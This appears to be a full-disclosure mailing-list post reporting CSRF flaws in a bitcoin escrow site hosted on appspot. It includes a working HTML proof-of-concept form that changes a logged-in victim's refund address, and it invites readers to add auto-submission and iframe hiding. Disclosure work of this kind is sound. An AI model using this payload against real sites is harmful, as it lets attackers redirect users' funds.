In light of recent events in the "bitcoin community" I have decided that
private disclosure of issues is doing nothing but making them more prevalent.
In light of this decision I would like to report multiple CSRF vulnerabilities
in http://clearcoin.appspot.com .
This set of CSRFs are particularly nasty since this is hosted on appspot and
uses google account auth. So long as you stay logged into your google account
you are vulnerable to this CSRF.
Things tested:
Changing refund address.
Releasing funds.
POC code (open this in any browser even from a local file):
==========
<html><head><title>test</title></head>
<body>
<form id="refund_address_form"
action="https://clearcoin.appspot.com/set_refund_address"; method="POST">
<label for="refund_address">Your bitcoin address:</label>
<input type="text" name="refund_address" id="refund_address" size="60"
value="PUT ANY ADDRESS HERE"
class="text ui-widget-content ui-corner-all" autofocus required
placeholder="refund bitcoin address"/> (required)
</form>
</body>
</html>
==========
Javascript auto submittal, hiding in an iframe, and other obfuscation methods
are left as an exercise to the list.
This site is run and maintained by Gavin Anderson, aka, the lead bitcoin
maintainer.
You should know better Gavin.
--
Douglas Huff
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